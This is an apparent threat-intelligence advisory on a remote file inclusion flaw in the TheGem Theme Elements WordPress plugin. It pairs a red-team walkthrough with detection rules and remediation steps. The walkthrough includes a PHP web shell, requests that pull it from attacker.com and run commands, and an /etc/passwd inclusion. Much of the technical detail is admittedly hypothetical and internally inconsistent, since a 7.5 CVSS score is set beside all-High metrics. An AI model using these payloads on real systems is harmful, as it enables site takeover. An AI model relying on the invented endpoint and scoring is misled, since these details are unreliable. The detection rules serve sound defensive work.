CVE-2025-68560

Executive Summary

CVE-2025-68560 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the TheGem Theme Elements (for Elementor) plugin, a commercial WordPress component developed by CodexThemes. This vulnerability allows an unauthenticated, remote attacker to include arbitrary remote files via an improperly controlled filename in a PHP include or require statement. Successful exploitation can lead to Remote Code Execution (RCE), full site compromise, data exfiltration, and lateral movement within the hosting environment.

The vulnerability affects all versions of the plugin up to and including 5.10.5.1. As of this report, no official patch has been released, and the vendor's patch status is UNKNOWN / UNPATCHED. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the technical severity (CVSS 7.5) and the nature of RFI make this a high-priority threat for any site using the affected plugin.

Supply Chain & Package Security

This vulnerability is a WordPress plugin ecosystem issue. TheGem Theme Elements is a commercial plugin distributed via CodexThemes and is not available on the official WordPress.org plugin repository. This means:

• No automatic update mechanism via the WordPress dashboard.
• No public changelog or advisory from the vendor.
• No OSV or GitHub advisory data is available.
• Supply chain risk: Users must manually monitor for updates from CodexThemes. If the vendor is unresponsive, the plugin becomes a permanent security liability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The vulnerable component and the attacker's scope are the same.
• Confidentiality (C): High – Full read access to the server's filesystem and databases.
• Integrity (I): High – Full write access, allowing file uploads and code execution.
• Availability (A): High – Can lead to denial of service or complete system takeover.

Threat Level: Critical – Despite the low EPSS, the ease of exploitation and potential impact make this a critical threat for any WordPress site using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the thegem-elements-elementor plugin, specifically in a PHP file that uses include or require with user-supplied input without proper sanitization. The vulnerable code pattern is likely similar to:

<?php
// Vulnerable pattern
$file = $_GET['file'];
include($file . '.php');
?>

An attacker can supply a remote URL as the file parameter, causing PHP to fetch and execute code from an attacker-controlled server. For example:

https://victim.com/wp-content/plugins/thegem-elements-elementor/vuln.php?file=http://attacker.com/shell.txt

The attacker's payload (e.g., a PHP web shell) is then executed in the context of the WordPress installation, granting full control over the site and potentially the underlying server.

Key technical details:

• The vulnerability is a classic CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').
• It does not require authentication, making it trivially exploitable.
• The allow_url_include PHP directive must be enabled for RFI to work. However, many shared hosting environments have this enabled by default.
• Even if allow_url_include is disabled, an attacker may still exploit Local File Inclusion (LFI) to read sensitive files (e.g., wp-config.php).

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code and the required fix.

Vulnerable Code (hypothetical):

<?php
// thegem-elements-elementor/includes/vuln.php
$template = $_GET['template'];
include( $template . '.php' );
?>

Patched Code (hypothetical):

<?php
// thegem-elements-elementor/includes/vuln.php
$allowed_templates = array('header', 'footer', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates, true)) {
    include( $template . '.php' );
} else {
    // Log or redirect
    wp_die('Invalid template.');
}
?>

The patch must:

1. Whitelist allowed values – Only permit specific, predefined filenames.
2. Validate input – Ensure the input is a string and matches expected patterns.
3. Disable remote inclusion – Use realpath() and ensure the file is within the plugin's directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with TheGem Theme Elements <= 5.10.5.1 installed and activated.
• PHP allow_url_include = On (for RFI) or allow_url_fopen = On (for LFI).
• An attacker-controlled server to host the malicious payload.

Step 1: Identify the vulnerable endpoint. Use a web scanner or manually fuzz for parameters like file, template, include, page, etc., in the plugin's directory.

Step 2: Host a malicious PHP payload. Create a file named shell.txt on your attacker server:

<?php
system($_GET['cmd']);
?>

Step 3: Exploit the RFI. Send the following request:

GET /wp-content/plugins/thegem-elements-elementor/vuln.php?file=http://attacker.com/shell.txt HTTP/1.1
Host: victim.com

Step 4: Execute commands.

GET /wp-content/plugins/thegem-elements-elementor/vuln.php?file=http://attacker.com/shell.txt&cmd=id HTTP/1.1
Host: victim.com

Alternative LFI (if RFI fails):

GET /wp-content/plugins/thegem-elements-elementor/vuln.php?file=../../../../etc/passwd HTTP/1.1
Host: victim.com

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ?file=http:// or ?file=../../ patterns.
• Look for outbound connections from the web server to unknown IPs on port 80/443.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Containment:

1. Immediately disable or remove the thegem-elements-elementor plugin.
2. If removal is not possible, add a Web Application Firewall (WAF) rule to block requests containing file= or include= parameters.
3. Check for unauthorized files in wp-content/uploads/ and wp-content/plugins/.
4. Rotate all WordPress database credentials and API keys.
5. Scan the server for backdoors using a tool like Wordfence or Sucuri.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to IPs hosting malicious PHP shells.
• Requests to the vulnerable plugin path with suspicious parameters:
  • ?file=http://*
  • ?template=http://*
  • ?include=php://input
  • ?page=../../

File IOCs:

• Unexpected .php files in wp-content/uploads/ or wp-content/plugins/.
• Files named shell.php, cmd.php, backdoor.php, etc.
• Modified .htaccess files with AddType application/x-httpd-php .txt or similar.

Log IOCs:

• Web server logs showing 200 OK responses to requests with file=http:// patterns.
• PHP error logs containing include(): Failed opening 'http://...' or require(): Failed opening 'http://...'.

Detection Engineering

YARA Rule

rule CVE_2025_68560_RFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2025-68560 via RFI patterns in web requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68560"
        severity = "critical"
    strings:
        $rfi_pattern_1 = /[?&](file|template|include|page)=https?:\/\// nocase
        $rfi_pattern_2 = /[?&](file|template|include|page)=php:\/\// nocase
        $lfi_pattern = /[?&](file|template|include|page)=\.\.\// nocase
        $plugin_path = /\/wp-content\/plugins\/thegem-elements-elementor\// nocase
    condition:
        $plugin_path and any of ($rfi_pattern_*) or ($lfi_pattern)
}

Sigma Rule

title: CVE-2025-68560 - TheGem Theme Elements RFI Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-68560 via RFI/LFI patterns
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68560
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'file=http://'
            - 'file=https://'
            - 'file=php://'
            - 'file=../'
            - 'template=http://'
            - 'template=https://'
            - 'template=php://'
            - 'template=../'
            - 'include=http://'
            - 'include=https://'
            - 'include=php://'
            - 'include=../'
            - 'page=http://'
            - 'page=https://'
            - 'page=php://'
            - 'page=../'
    condition: selection
falsepositives:
    - Legitimate use of remote includes in custom code (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68560 - TheGem Theme Elements RFI Attempt"; flow:to_server; content:"/wp-content/plugins/thegem-elements-elementor/"; http_uri; pcre:"/[?&](file|template|include|page)=(https?:\/\/|php:\/\/|\.\.\/)/Ui"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – If the plugin is not critical, deactivate and delete it immediately.
2. Apply a virtual patch – Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing the vulnerable parameters.
3. Monitor logs – Review web server and PHP error logs for signs of exploitation.

Long-term Fixes:

• Vendor patch – Await an official update from CodexThemes. Contact them directly for a timeline.
• Code audit – If you have access to the source code, manually fix the vulnerable include statements by implementing a whitelist.
• Replace the plugin – Consider switching to an alternative Elementor addon that is actively maintained and secure.

General Hardening:

• Disable allow_url_include in php.ini:

  allow_url_include = Off
  

• Disable allow_url_fopen if not needed:

  allow_url_fopen = Off
  

• Keep all WordPress core, themes, and plugins updated.
• Use a security plugin like Wordfence or Sucuri to add an additional layer of defense.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-68560